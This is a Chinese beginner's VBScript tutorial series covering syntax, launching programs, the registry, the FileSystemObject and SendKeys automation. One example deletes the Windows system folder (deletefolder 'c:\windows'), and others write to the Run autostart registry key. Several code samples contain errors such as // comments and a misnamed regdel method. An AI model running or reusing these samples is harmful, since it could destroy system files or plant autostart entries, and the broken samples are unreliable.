

vbs 脚本编程简明教程之一

—为什么要使用 Vbs ?

在 Windows 中，学习计算机操作也许很简单，但是很多计算机工作是重复性劳动，例如你每周也许需要对一些计算机文件进行复制、粘贴、改名、删除，也许你每天启动计算机第一件事情就是打开 WORD，切换到你喜爱的输入法进行文本编辑，同时还要播放优美的音乐给工作创造一个舒心的环境，当然也有可能你经常需要对文本中的某些数据进行整理，把各式各样的数据按照某种规则排列起来……。这些事情重复、琐碎，使人容易疲劳。

第三方软件也许可以强化计算机的某些功能，但是解决这些重复劳动往往事倍功半，我也尝试过使用计算机语言编写程序来解决这些问题，但是随之而来的命令、语法、算法、系统框架和类库常常让我觉得这样是否有必要，难道就是因为猪毛比较难拔，所以我就要去学习机械，为自己设计一个拔猪毛机（？）吗？

VBScript 是一种 Windows 脚本，它的全称是:Microsoft Visual Basic Script Edition.(微软公司可视化BASIC脚本版)，VBS是Visual Basic的一个抽象子集，是系统内置的，用它编写的脚本代码不能编译成二进制文件，直接由Windows系统执行（实际是一个叫做宿主host的解释源代码并执行），高效、易学，但是大部分高级语言能干的事情，它基本上都具备，它可以使各种各样的任务自动化，可以使你从重复琐碎的工作中解脱出来，极大的提高工作效率。

我个人认为 Vbs 脚本其实就是一种计算机编程语言，但是由于缺少计算机程序设计语言中的部分要素，对于事件的描述能力较弱，所以称为脚本，它最方便的地方就是提供了对 COM 对象的简便支持。那么什么是 COM 对象呢？

我这样理解，COM 对象就是一些具有特定函数功能项程序模块，他们一般以 ocx 或者 dll 作为扩展名，你只要找到包含有你需要的功能的模块文件，并在脚本中规范的引用，就可以实现特定的功能，也就是说 Vbs 脚本就是调用现成的“控件”作为对象，用对象的属性和方法实现目的，完全免去了编写代码、设计算法等等麻烦。说白了，我不是觉得拔猪毛麻烦么？我发觉 xx 机（比如真空离心机）有一个功能可以实现脱毛，ok，我把它拿来给猪脱毛。什么？大材小用？太浪费资源了？天哪，那是计算机芯片的事情，死道友不死贫道，反正我的事情是方便快速的解决了，这就行了。

最方便的是它甚至不需要专门的开发环境，在你的计算机中，只要有 notepad，就可以编写 Vbs 脚本了，并且可以直接执行。

vbs 脚本编程简明教程之二

如何开始第一个 Vbs 脚本？

就像多数计算机教程一样，我们从“Hello World！”程序开始我们的练习。什么？不知道是什么意思？就是说大部分的计算机程序设计教程开篇入门都是编写一个小程序，执行这个程序的结果就是在计算机的屏幕上或者 dos 窗口中显示一行文字：Hello World！好了，我们开始吧。

打开你的“记事本”程序，在编辑窗口填写：

```
msgbox "Hello World!"
```

然后用鼠标单击“文件”菜单，单击“保存”，把“保存在”一栏设为桌面，在“文件名”一栏中填写 kk.vbs，单击“保存”就可以了。然后最小化“记事本”窗口，在桌面上寻找你刚刚保存的 kk.vbs，然后双击。看到弹出的对话框了没有，单击“确定”，对话框消失了。难看了点，不过确实是你编写的第一个脚本程序。

说明之一：上面的操作中，保存位置放在桌面，仅仅是为了执行方便，你保存到其他地方完全没有问题，只要你知道你保存在什么地方就可以了，什么？是废话，自己保存的当然知道保存在那里了。不，自己保存的文件自己找不到的人我见的多了去了。文件名你可以随意填写，不一定非要写 kk，只要符合

Windows 的文件命名规则就可以了，但是扩展名必须是 vbs，什么？不知道什么是扩展名？就是文件名中“.”后的那部分，简单说，就是 vbs 脚本文件命名时必须为：xxx.vbs，其中 xxx 你随意。

说明之二：在记事本编辑窗口中写的这行是什么意思？

Msgbox 是 VBS 内建的函数，每一个函数都可以完成一定的功能，你只需要按照语法要求，在函数的相应部分填写相应内容就可以了，这部分内容我们称为参数，当然函数执行的结果我们称为返回值，一个函数可以有返回值也可以没有，可以有参数也可以没有。你不用了解函数是怎么运作的，只要了解这个函数能干什么就行了。

Msgbox 语法：msgbox "对话框内容", "对话框的标题"

你不妨用记事本打开刚才的文件在编辑窗口中输入：

```
msgbox "Hello World!", "系统提示"
```

执行一下，看看效果和位置。

说明之三：如果执行失败，看看你的标点符号，所有的标点符号必须是在英文状态下输入的。当然，这个脚本实在是太简单了，甚至连最简单的交互都没有，所以你可以把脚本这样修改一下：

```
Dim name
```

```
name=Inputbox("请输入你的名字:", "名称")
```

```
Msgbox name, "您的名字是"
```

保存执行一下，看到弹出的对话框了么？填入你的名字，点确定，看到结果了吗？

说明之一：第一句是定义变量，dim 是定义变量的语句

其格式为：dim 变量 1, 变量 2.....,

Vbs 只有一种变量类型，所以不用声明变量类型。系统会自动分辨变量类型。

说明之二：inputbox 是 VBS 内建的函数，可以接受输入的内容，其语法格式为：

```
Inputbox("对话框内容", "对话框标题")
```

第二句的意思是接受用户的输入，并把输入结果传递给变量 name。

好了，到此脚本基本的输入输出函数都有了，已经可以完成一些比较简单的功能了，你可以编写一个简单的脚本，然后拷贝的“程序”→“启动”中，然后重新启动计算机看看结果

vbs 脚本编程简明教程之三

Vbs 的基本语法（牢记）

VBScript 基础知识

一、变量

1、所有单引号后面的内容都被解释为注释。

2、在 VBScript 中，变量的命名规则遵循标准的命名规则，需要注意的是：在 VBScript 中对变量、方法、函数和对象的引用是不区分大小写的。在申明变量时，要显式地申明一个变量，需要使用关键字 Dim 来告诉 VBScript 你要创建一个变量，并将变量名称跟在其后。申明多个同类型变量，可以用逗号分隔。注意：VBScript 中不允许在申明变量的时候同时给变量赋值。但是允许在一行代码内同时对两个变量进行赋值，中间用冒号分隔。

3、你可以使用 Option Explicit 来告诉宿主变量必须先声明后使用。

4、VBScript 在定义时只有一种变量类型，在实际使用中需要使用类型转换函数来将变量转换成相应的变量类型。

Cbool 函数将变量转换成布尔值；

Cbyte 函数将变量转换为 0 到 255 之间的整数。

Ccur 函数、Cdbl 函数和 Csgn 函数将变量转换为浮点数值，前者只精确到小数点后四位，后两者要更加

精确，数值的范围也要大的多。

Cdate 函数将变量转换为日期值。

Cint 函数和 **Clng** 函数将变量转换为整数，后者的范围比前者要大的多。

Cstr 函数将变量转换为字符串。

二、数组

数组的定义与变量非常类似，只需要在变量后描述这个数组的个数和维数。需要注意的是：数组的下标总是从 0 开始，而以数组定义中数值减一结束。也就是说你要定义一个有十个数据的数组，将这样书写代码：**dim array (9)**，同样，当你要访问第五个元素时，实际的代码是 **array(4)**。当然，你可以通过不指定数组的个数和维数来申明动态数组。等到数组的个数和维数固定后，使用关键字 **redim** 来改变数组。注意，在改变数组的大小时，数组的数据会被破坏，使用关键字 **preserve** 来保护数据。例如：

Redim 空格 **preserve** 空格 **array** 括号 个数 逗号 维数 括号

三、操作符

在 VBScript 运算符中，加减乘除都是我们常用的符号，乘方使用的是 **^**，取模使用的 **Mod**。

在比较操作符中，等于、小于、大于、小于等于、大于等于都与我们常用的符号是一致的，而不等于是小于和大于连用。


逻辑运算符为：和 操作 —> **AND** 非 操作 —> **NOT** 或 操作 —> **OR**；

你可以使用操作符 **+** 和 操作符 **&** 来连接字符串，一般使用 **&** 操作符；

另外还有一个比较特殊的操作符 **is** 用来比较对象，例如按钮对象，如果对象是同一类型，结果就是真，如果对象不是同一类型，结果就是假。

四、条件语句主要有 if.....then 语句和 selectcase 语句两种形式

在 if.....then 语句中，其基本形式为：

If 条件 **then** 

处理条件的语句；

.....


Endif

基本形式只能对单个条件进行验证，如果有两个条件，则需要在基本形式中添加单行语句 **else**，如果还有更多的条件需要验证，则需要添加语句

Elseif 条件 **then**

处理条件语句

在 **selectcase** 语句中，其基本形式为：

Select case 变量 

Case 条件值

处理条件语句

并对上两句进行重复

最后一句应为

case else

处理语句

当然不要忘记将条件结束语句 **End select** 放在最后一行

注意：在执行字符串比较时，需要特别注意大小写，一般情况下，我们在比较前，使用 **lcase** 函数将字符串转换成小写，使用 **ucase** 函数将字符串转换成大写。

五、循环控制语句

循环控制语句有 **for.....next** 循环、**for.....each** 循环、**do.....while** 循环、**do.....until** 循环、**while** 循环五种形式。

在使用循环控制语句前，首先要对循环条件进行判断，如果循环次数是有固定次数的，那么使用

For.....next 循环，其结构为：

For 计数器变量 = 开始计数值 to 最后计数值

执行循环体

Next

如果是需要对数组或对象集中的每一个元素进行判断，则需要使用 for.....each 循环，其结构为：

For each 循环计数变量 in 要查看的对象或数组

执行处理语句

Next

注意：在上述两种循环中随时可以使用 exit for 来退出循环

如果你希望在条件满足时执行一段代码则使用 do.....while 语句，结构为：

Do while 条件

执行循环体

Loop

如果你希望在条件不满足时执行代码，则使用 do.....until 语句，结构为：

Do until 条件

执行循环体

Loop

当然，在这两种循环语句中，你可以使用 exit do 来退出循环

最后一种循环语句是条件满足时一直执行循环，

While 条件

执行循环体

Wend

六、使用过程

常用的过程有两种，一种为函数，给调用者返回值，一种为子程序，无返回值，还有一种叫事件的特殊子程序，用的比较少。

函数的基本定义方法为：

Function 函数名称 (参数列表)

函数代码

函数名称 = 某值 '用来返回值

end function

子程序一些都类似，不过没有返回值

注意：尽管在定义子程序的时候，参数列表要加括号，但在调用子程序的时候，参数列表不加括号，括号只在函数中使用。另外，子程序不能在表达式中使用。

而函数只能出现在赋值语句的右边，或者表达式中，函数不能直接使用，如果必须直接使用函数，则必须使用 call 语句调用，并取消返回值。

vbs 脚本编程简明教程之四

如何利用 Vbs 运行外部程序？

Vbs 只提供了编程的一个基本框架，用户可以使用 Vbs 来定义变量、过程和函数，vbs 也提供了一些内部函数和对象，但是 Vbs 没有提供任何命令来访问 Windows 系统内部的部件，但是值得庆幸的是，Vbs 虽然不能自己完成这些任务，但是它提供了一条极为方便、功能也相当强的命令——CreateObject，这条命令可以访问 windows 系统内安装的所有 com 对象，并且可以调用这些部件中存放的命令。

于是问题解决了，比如说，我手头有 1000 个小文本，我首先要对每一个文本的语法进行查错和修改，然

后按照预先定义好的规则对这些文本进行排序，最后将这些文本合并成为一个文件。正常情况下，我们需要把打开第一个小文本，然后把它复制到 WORD 中，然后利用里面的除错功能进行除错和修改，然后再导入到 EXCEL 中进行排序，将这个过程重复 1000 遍，然后再将所有得到的文本复制到一个大文本中。实在是太枯燥、工作量太大了。有了 Vbs 和 CreateObject，问题得到解决，我只需要找到相应的模块，调用相应的功能就可以了，作为脚本，把一个枯燥的过程重复 1000 次，本就是它的拿手好戏。

好了，我们走入正题，从最简单的——只启动一个程序开始。

WSH 也就是用来解析 Vbs 的宿主，本身包含了几个常用对象：

- 1、Scripting.FileSystemObject —> 提供一整套文件系统操作函数
- 2、Scripting.Dictionary —> 用来返回存放键值对的字典对象
- 3、Wscript.Shell —> 提供一套读取系统信息的函数，如读写注册表、查找指定文件的路径、读取 DOS 环境变量，读取链接中的设置
- 4、Wscript.NetWork —> 提供网络连接和远程打印机管理的函数。（其中，所有 Scripting 对象都存放在 SCRRUN.DLL 文件中，所有的 Wscript 对象都存放在 WSHOM.ocx 文件中。）

现在我们需要的是第三个对象，好了，让我们先连接一下对象看看，在记事本的编辑窗口中输入：

```
Set objShell = CreateObject( "Wscript.Shell" )  
objShell.Run "notepad"
```

同样，保存执行。那么看到了一个什么样的结果呢？在桌面上又打开了一个记事本。

说明之一：Set 是 Vbs 指令，凡是将一对象引用赋给变量，就需要使用 set 关键字。那么什么是对象引用呢？凡是字符串、数值、布尔值之外的变量都是对象引用。Objshell 是变量名，可以随意修改。

说明之二：反是正确引用的对象，其本身内置有函数和变量，其引用方法为在变量后加“.”，后紧跟其实现功能的函数就可以了。Objshell.run 的意思就是调用 Wscript.shell 中的运行外部程序的函数——run，notepad 是记事本程序的文件名。当然你也可以改成“calc”，这是计算器的文件名，winword 是 word 的文件名，等等吧，所有可执行文件的文件名都可以。但是需要注意的是，如果你要执行的可执行文件存放的地方不是程序安装的常用路径，一般情况下，需要提供合法的路径名，但是 run 在运行解析时，遇到空格会停止，解决的方法是使用双引号，例如：在我的机器上运行 qq，代码为：

```
objshell.run ""C:\Program Files\QQ2006\QQ.exe"" '注：三个引号
```

好，我们再进行一步，启动两个程序会如何呢？

输入如下代码：

```
Set objShell = CreateObject( "Wscript.Shell" )  
objShell.Run "notepad"  
objShell.Run "calc"
```

执行会如何呢？两个程序基本上同时启动了。如果我们需要先启动 notepad 再启动 calc 将如何呢？很简单在需要顺序执行的代码后加，，True 参数就可以了。

好了输入代码：

```
Set objShell = CreateObject( "Wscript.Shell" )  
objShell.Run "notepad" ,true  
objShell.Run "calc"
```

看看执行的结果怎么样吧！

总结：run 函数有三个参数，第一个参数是你执行的程序的路径，第二个参数是窗口的形式，0 是在后台运行；1 表示正常运行；2 表示激活程序并且显示为最小化；3 表示激活程序并且显示为最大化；一共有 10 个这样的参数我只列出了 4 个最常用的。第三个参数是表示这个脚本是等待还是继续执行，如果设为了 true，脚本就会等待调用的程序退出后再向后执行。

其实，run 做为函数，前面还有一个接受返回值的变量，一般来说如果返回为 0，表示成功执行，如果不为 0，则这个返回值就是错误代码，可以通过这个代码找出相应的错误。

vbs 脚本编程简明教程之五

错误处理

引发错误的原因有很多，例如用户输入了错误类型的值，或者脚本找不到必需的文件、目录或者驱动器，我们可以使用循环技术来处理错误，但是 VBS 本身也提供了一些基本技术来进行错误的检测和处理。

1、最常见的错误是运行时错误，也就是说错误在脚本正在运行的时候发生，是脚本试图进行非法操作的结果。例如零被作为除数。在 vbs 中，任何运行时错误都是致命的，此时，脚本将停止运行，并在屏幕上显示一个错误消息。你可以在脚本的开头添加

```
On Error Resume Next
```

这行语句可以告诉 vbs 在运行时跳过发生错误的语句，紧接着执行跟在它后面的语句。

发生错误时，该语句将会把相关的错误号、错误描述和相关源代码压入错误堆栈。

2、虽然 On Error Resume Next 语句可以防止 vbs 脚本在发生错误时停止运行，但是它并不能真正处理错误，要处理错误，你需要在脚本中增加一些语句，用来检查错误条件并在错误发生时处理它。

vbscript 提供了一个对象 err 对象，他有两个方法 clear，raise，5 个属性：description，helpcontext，helpfile，number，source

err 对象不用引用实例，可以直接使用，例如：

```
on error resume next
a=11
b=0
c=a/b
if err.number<>0 then
wscript.echo err.number & err.description & err.source
end if
```

vbs 脚本编程简明教程之六

修改注册表

Vbs 中修改注册表的语句主要有：

1、读注册表的关键词和值：

可以通过把关键词的完整路径传递给 wshshell 对象的 regread 方法。例如：

```
set ws=wscript.createobject("wscript.shell")
v=ws.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\nwiz")
wscript.echo v
```

2、写注册表

使用 wshshell 对象的 regwrite 方法。例子：

```
path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
set ws=wscript.createobject("wscript.shell")
t=ws.regwrite(path & "jj","hello")
```

这样就把

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jj 这个键值改成了 hello.

不过要注意：这个键值一定要预先存在。

如果要创建一个新的关键词，同样也是用这个方法。

```
path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run\sssa2000\love"  
set ws=wscript.createObject("wscript.shell")  
val=ws.regwrite(path,"nenboy")  
val=ws.regread(path)  
wscript.echo val
```

删除关键字和值

使用 regdelete 方法，把完整的路径传递给 regdelete 就可以了

例如

```
val=ws.regdel(path)
```

注意，如果要删除关键词的值的话 一定要在路径最后加上“\”，如果不加斜线，就会删除整个关键词。

vbs 脚本编程简明教程之七

FSO 的常见对象和方法

文件系统是所有操作系统最重要的部分之一，脚本经常会需要对文件及文件夹进行访问和管理，在 Vbs 中对桌面和文件系统进行访问的顶级对象是 FileSystemObject(FSO)，这个对象特别复杂，是 vbs 进行文件操作的核心。此节内容应了如指掌。

FSO 包含的常见对象有：

Drive 对象：包含储存设备的信息，包括硬盘、光驱、ram 盘、网络驱动器

Drives 集合：提供一个物理和逻辑驱动器的列表

File 对象：检查和处理文件

Files 集合：提供一个文件夹中的文件列表

Folder 对象：检查和处理文件夹

Folders 集合：提供文件夹中子文件夹的列表

Textstream 对象：读写文本文件

FSO 的常见方法有：

BulidPath：把文件路径信息添加到现有的文件路径上

CopyFile：复制文件

CopyFolder：复制文件夹

CreateFolder：创建文件夹

CreateTextFile：创建文本并返回一个 TextStream 对象

DeleteFile：删除文件

DeleteFolder：删除文件夹及其中所有内容

DriveExists：确定驱动器是否存在

FileExists：确定一个文件是否存在

FolderExists：确定某文件夹是否存在

GetAbsolutePathName：返回一个文件夹或文件的绝对路径

GetBaseName：返回一个文件或文件夹的基本路径

GetDrive：返回一个 drive 对象

GetDriveName：返回一个驱动器的名字

GetExtensionName : 返回扩展名
GetFile : 返回一个 file 对象
GetFileName : 返回文件夹中文件名称
GetFolder : 返回一个文件夹对象
GetParentFolderName : 返回一个文件夹的父文件夹
GetSpecialFolder:返回指向一个特殊文件夹的对象指针
GetTempName:返回一个可以被 createtextfile 使用的随机产生的文件或文件夹的名称
MoveFile : 移动文件
MoveFolder : 移动文件夹
OpenTextFile : 打开一个存在的文件并返回一个 TextStream 对象

vbs 脚本编程简明教程之八

FSO 中文件夹的基本操作

1、使用 fso

由于 fso 不是 wsh 的一部分，所以我们需要建立他的模型

例如 set fs=wscript.createobject("scripting.filesystemobject")

这样就建立了 fso 的模型。如果要释放的话也很简单，set fs=nothing

2、使用文件夹

在创建前，我们一般需要检查该文件夹是否存在例如：

dim fs,s //定义 fs、s 两个变量

set fs=wscript.createobject("scripting.filesystemobject") //fs 为 FSO 实例

if (fs.folderexists("c:\temp")) then //判断 c:\temp 文件夹是否存在

s=" is available"

else

s=" not exist"

set foldr=fs.createfolder("c:\temp") //不存在则建立

end if

删除： set fs=wscript.createobject("scripting.filesystemobject")

fs.deletefolder("c:\windows")

拷贝： set fs=wscript.createobject("scripting.filesystemobject")

fs.copyfolder "c:\data" "d:\data"

注意：如果 c:\data 和 d:\data 都存在，脚本会出错，复制也会停止，如果要强制覆盖，使用

fs.copyfolder "c:\data" "d:\data" , true

移动： set fs=wscript.createobject("scripting.filesystemobject")

fs.movefolder "c:\data" "d:\data"

我们可以使用通配符，来方便操作：

例如， fs.movefolder :c:\data\te*" , "d:\working"

注意：在目的路径最后没有使用"\" 也就是说我没有这样写：

fs.movefolder c:\data\te*" , "d:\working\"

这样写的话，如果 d:\working 目录不存在，windows 就不会为我们自动创建这个目录。

注意：上面我们所举的例子都是在利用 fso 提供的方法，如果使用 folder 对象也完全是可以的：

```
set fs= wscript.createobject( "scripting.filesystemobject" )
set f=fs.getfolder( "c:\data" )
f.delete //删除文件夹 c:\data。如果有子目录，也会被删除
f.copy "d:\working" ,true //拷贝到 d:\working
f.move "d:\temp" //移动到 d:\temp
```

3、特殊文件夹

一般指的就是系统文件夹：\windows\system32，临时文件夹，windows 文件夹，在前几篇的时候，我们提过一下：例如

```
set fs=wscript.createobject( "scripting.filesystemobject" )
set wshshell=wscript.createobject( "wscript.shell" )
osdir=wshshell.expandenvironmentstrings( "%systemroot%" )
set f =fs.getfolder(osdir)
wscript.echo f
```

当然，还有简单的方法 那就是使用 getspecialfolder()

这个方法使用 3 种值：

- 0 表示 windows 文件夹，相关常量是 windowsfolder
- 1 系统文件夹，相关常量是 systemfolder
- 2 临时目录，相关常量 temporaryfolder

例如：

```
set fs=wscript.createobject( "scripting.filesystemobject" )
set wfolder=fs.getspecialfolder(0) '返回 windows 目录
set wfolder=fs.getspecialfolder(1) '返回 system32\
set wfolder=fs.getspecialfolder(2)'返回临时目录
```

vbs 脚本编程简明教程之九——1

妙用 SendKeys 简化重复操作 1

每次开机的时候，你想自动登陆你的 QQ 或者博客吗？巧妙使用 VBS 中的 SendKeys 命令（这个命令的作用就是模拟键盘操作，将一个或多个按键指令发送到指定 Windows 窗口来控制应用程序运行），可以极大的方便我们的常用操作。其使用格式为：

Object.SendKeys string 其中：

Object：为 WshShell 对象，即脚本的第一行为：

Set WshShell=WScript.CreateObject("WScript.Shell")

将 Object 替换为 WshShell

“string”：表示要发送的按键指令字符串，需要放在英文双引号中。它包含如下内容：

1. 基本键：一般来说，要发送的按键指令都可以直接用该按键字符本身来表示，例如要发送字母“x”，使用“WshShell.SendKeys "x"”即可。当然，也可直接发送多个按键指令，只需要将按键字符按顺序排列在一起即可，例如，要发送按键“cfan”，可以使用

“WshShell.SendKeys "cfan"”。

2. 特殊功能键：对于需要与 Shift、Ctrl、Alt 三个控制键组合的按键，SendKeys 使用特殊字符来表示：

Shift —— + ; Ctrl —— ^ ; Alt —— %

如要发送的组合按键是同时按下 Ctrl + E，需要用“WshShell.SendKeys “^e””表示，如果要发送的组合按键是按住 Ctrl 键的同时按下 E 与 C 两个键，这时应使用小括号把字母键括起来，书写格式为

“WshShell.SendKeys “^(ec)””，这里要注意它与“WshShell.SendKeys “^ec””的区别，后者表示组合按键是同时按住 Ctrl 和 E 键，然后松开 Ctrl 键，单独按下“C”字母键。

由于“+”、“^”这些字符用来表示特殊的控制按键了，如何表示这些按键呢？只要用大括号括住这些字符即可。例如，要发送加号“+”，可使用“WshShell.SendKeys “{+}””。另外对于一些不会生成字符的控制功能按键，也同样需要使用大括号括起来按键的名称，例如要发送回车键，需要用“WshShell.SendKeys “{ENTER}””表示，发送向下的方向键用

“WshShell.SendKeys “{DOWN}””表示。

如果需要发送多个重复的单字母按键，不必重复输入该字母，SendKeys 允许使用简化格式进行描述，使用格式为“{按键 数字}”。例如要发送 10 个字母“x”，则输入“WshShell.SendKeys “{x 10}””即可。

例一：WshShell.SendKeys “^{ESC}u”

代码的含义为：按下 Ctrl + Esc 组合键（相当于按 Win 键）打开“开始”菜单，接着按 U 键打开“关机”菜单。

例二：让 VBS 脚本自动在记事本中输入一行文字“hello, welcome to cfan”。

```
Dim WshShell
```

```
Set WshShell=WScript.CreateObject("WScript.Shell")
```

```
WshShell.Run "notepad"
```

```
WScript.Sleep 2000
```

//本行的含义为是脚本暂停 2 秒，给 notepad 一个打开的时间，有时时间太短可能导致后面的字符无法进入编辑区

```
WshShell.AppActivate "无标题 - 记事本"
```

//AppActivate 为寻找可执行程序的标题框，“无标题 - 记事本”内容你的自己打开看一下

```
WshShell.SendKeys "hello, welcome to cfan"
```

作业 1:让脚本自动输入下面两段小短句

```
This is the most wonderful day of my life
```

```
because I'm here with you now
```

作业 2：让脚本在输入短句后自动关闭记事本，并保存文件名为“test”，注意关闭记事本可以直接使用组合按键 Alt + F4 来实现。

vbs 脚本编程简明教程之九—2

妙用 SendKeys 简化重复操作 2

例三：制作能自动定时存盘的记事本

我们最常用的记事本没有 Word、WPS 那样的自动定时存盘功能，其实利用 VBS 脚本再加上 SendKeys 命令，就能弥补这个遗憾。打开记事本，输入以下内容（为容易描述和分析，把代码分为四个部分）：

‘第一部分：定义变量和对象

```
Dim WshShell, AutoSaveTime, TXTFileName
```

```
AutoSaveTime=300000
```

```
Set WshShell=WScript.CreateObject("WScript.Shell")
```

```
TXTFileName=InputBox("请输入你要创建的文件名(不能用中文和纯数字):")
```

'第二部分：打开并激活记事本

```
WshShell.Run "notepad"
```

```
WScript.Sleep 200
```

```
WshShell.AppActivate "无标题 - 记事本"
```

'第三部分：用输入的文件名存盘

```
WshShell.SendKeys "^s"
```

```
WScript.Sleep 300
```

```
WshShell.SendKeys TXTFileName
```

```
WScript.Sleep 300
```

```
WshShell.SendKeys "%s"
```

```
WScript.Sleep AutoSaveTime
```

'第四部分：自动定时存盘

```
While WshShell.AppActivate (TXTFileName)=True
```

```
WshShell.SendKeys "^s"
```

```
WScript.Sleep AutoSaveTime
```

```
Wend
```

```
WScript.Quit
```

将其保存为记事本.vbs，以后要使用记事本时，都通过双击这个脚本文件来打开。

程序说明：这个脚本的基本思路是定时向记事本发送 Ctrl + S 这个存盘组合键。

第一部分：定义了脚本中需要用到变量和对象。“AutoSaveTime”变量用来设置自动存盘间隔，单位为毫秒，这里设置为 5 分钟。“TXTFileName”变量通过输入框取得你要创建的文本文件名称。

第二部分：运行记事本，对于 Windows 本身提供的程序，比如计算器等，可直接在“WshShell.Run”后输入程序名称，如“calc”，对于非系统程序，则可输入完全路径，但要注意使用 8.3 格式输入，比如“D:\Progra~1\Tencent\QQ.exe”。

第三部分：这里用 SendKeys 命令执行了这样的操作流程（请注意每个操作之间延时命令的使用）：在记事本中按 Ctrl + S 组合键→弹出保存文件的窗口→输入文件名→按 Alt + S 组合键进行保存（默认保存在“我的文档”目录）。

第四部分：定时存盘的关键，通过“While.....Wend”这个当条件为“真”时循环命令，实现自动存盘代码

“WshShell.SendKeys "^s”和定时代码“WScript.Sleep AutoSaveTime”的重复执行。因为不能让这个定时存盘循环一直执行，退出记事本后，必须自动退出脚本并结束循环，所以设计了一个循环判断条件

“WshShell.AppActivate TXTFileName=True”，当记事本运行中时，可以激活记事本窗口，这个条件运行结果为“True”，定时存盘循环一直执行，退出记事本后，脚本无法激活记事本窗口，就会跳出循环，执行“Wend”后面的“WScript.Quit”退出脚本。

例四：快速登陆 QQ 软件。假设 QQ 号码是：10001，密码是：123456，隐身登陆：

```
set ws=wscript.createobject("wscript.shell")
```

```
ws.run "C:\Progra~1\Tencent\QQ\QQ.exe",0
```

```
wscript.Sleep 2000
```

```
ws.AppActivate "QQ 用户登录"
```

```
ws.SendKeys "7015247"
```

```
wscript.Sleep 200
```

```
ws.SendKeys "{TAB}"
```

```
ws.SendKeys "*****"
```

```
wscript.Sleep 200
```

```
ws.SendKeys "{ENTER}"
```

例五：关机菜单立刻显身

打开记事本，输入以下命令，并将其保存为 1.vbs：

```
set WshShell = CreateObject("WScript.Shell")
```

```
WshShell.SendKeys "^{ESC}u"
```

双击运行它，你会发现关机菜单立刻出现了。

将“WshShell.SendKeys “^{ESC}u””改为“WshShell.SendKeys “^+{ESC}””，运行一下看看是否打开了任务管理器

vbs 脚本编程简明教程之九——3

妙用 SendKeys 自动上网并登陆博客 3

将下面的脚本复制到一个文本文件中，并将其文件名命名为：自动登陆.vbs，然后将拨号软件及本脚本一起复制到程序——启动项中，就可以实现自动拨号上网，并登陆到博客上。

代码如下：

```
Set wshshell=CreateObject("wscript.shell")
```

```
wshshell.AppActivate "连接 MAE-301U 拨号连接"
```

```
wscript.Sleep 20000
```

```
wshshell.SendKeys "{enter}"
```

```
wshshell.Run "iexplore"
```

```
WScript.Sleep 2000
```

```
wshshell.AppActivate "hao123 网址之家---实用网址,搜索大全,尽在 - Microsoft Internet Explorer" '引号中
```

的内容修改为你的浏览器打开后标题栏中的内容

```
wshshell.SendKeys "%d"
```

```
wshshell.SendKeys "I"
```

```
wshshell.SendKeys "{enter}"
```

```
WScript.Sleep 2000
```

```
wshshell.SendKeys "此处修改为博客帐号"
```

```
wshshell.SendKeys "{tab}"
```

```
wshshell.SendKeys "此处修改为博客密码"
```

```
wshshell.SendKeys "{enter}"
```

```
'wshshell.SendKeys "%d"
```

Vbs 脚本常用的编辑器当然是 notepad，不过这个编辑器的功能当然实在是太弱了一点，其实有很多的专用的脚本编辑器可以大大方便 vbs 脚本的编写。我常用的有两种：

1、VBSEdit 汉化版

2、primalscript 汉化版，可以对 30 多种脚本进行编辑

Vbs 脚本编程简明教程之十一

FSO 中文件的基本操作

一、文件属性：

在 windows 中，文件的属性一般用数字来表示：

0 代表 normal，即普通文件未设置任何属性。 1 代表只读文件。

2 代表隐藏文件。 4 代表系统文件。 16 代表文件夹或目录。

32 代表存档文件。 1024 代表链接或快捷方式。例如：

```
set fs=wscript.createObject( "scripting.filesystemobject" )
```

```
set f=fs.getFile( "d:\index.txt" )
```

```
msgbox f.Attributes 'attributes 函数的作用是显示文件属性
```

需要说明的是：msgbox 显示的结果往往不是上面说明的数字，而是有关属性代表数字的和

二、创建文件：object.createtextfile 方法，注意创建前一般需要检查文件是否存在。

例如：set fso=wscript.createObject("scripting.filesystemobject")

```
if fso.fileexists( "c:\kk.txt" ) then
```

```
msgbox "文件已存在"
```

```
else
```

```
set f=fso.createTextfile( "c:\kk.txt" )
```

```
end if
```

如需要强制覆盖已存在的文件，则在文件名后加 true 参数。

三、复制、移动、删除文件：使用 copyfile 方法、movefile 方法、deletefile 方法。例如：

```
set fso=wscript.createObject( "scripting.filesystemobject" )
```

```
fso.copyfile "c:\kk.txt" , " d:\1\kk.txt" ,true //如上文说述，true 代表强制覆盖
```

```
fso.movefile "c:\kk.txt" , "d:\" //移动文件
```

```
fso.deletefile "c:\kk.txt" //删除文件
```

四、文件的读写：

1、打开文件：使用 opentextfile 方法

如：set ts=fso.opentextfile("c:\kk.txt",1,true)

说明：第二个参数为访问模式 1 为只读、2 写入、8 为追加

第三个参数指定如文件不存在则创建。

2、读取文件：read(x)读 x 个字符；readline 读一行；readall 全部读取

如：set ffile=fso.opentextfile("c:\kk.txt",1,true)

```
value=ffile.read(20)
```

```
line=ffile.readline
```

```
contents=ffile.readall
```

3、常见的指针变量：

atendofstream 属性：当处于文件结尾的时候这个属性返回 true。一般用循环检测是否到达文件末尾。

例如：

```
do while ffile.atendofstream<>true
```

```
ffile.read(10)
```

```
loop
```

atendofline 属性：如果已经到了行末尾，这个属性返回 true。

Column 属性(当前字符位置的列号)和 line 属性(文件当前行号)：在打开一个文件后，行和列指针都被设置为 1。

4、在文件中跳行：skip(x) 跳过 x 个字符；skipline 跳过一行
5、在文件中写入字符：可以用 2 - 写入和 8 - 追加的方式来写入
其方法有：write(x)写入 x 字符串；writeline(x)写入 x 代表的一行
writeblanklines(n) 写入 n 个空行

注意：最后一定要使用 close 方法关闭文件,读文件后一定要关闭，才能以写的方式打开。

vbs 脚本编程简明教程之十二

使用系统对话框

在 VBS 脚本设计中，如果能使用 windows 提供的系统对话框，可以简化脚本的使用难度，使脚本人性化许多，很少有人使用，但 VBS 并非不能实现这样的功能，方法当然还是利用 COM 对象。

1、SAFRCFileDialog.FileSave 对象：属性有：FileName — 指定默认文件名；FileType — 指定文件扩展名；OpenFileSaveDlg — 显示文件保存框体方法。
2、SAFRCFileDialog.FileOpen 对象：FileName — 默认文件名属性；OpenFileOpenDlg — 显示打开文件框体方法。

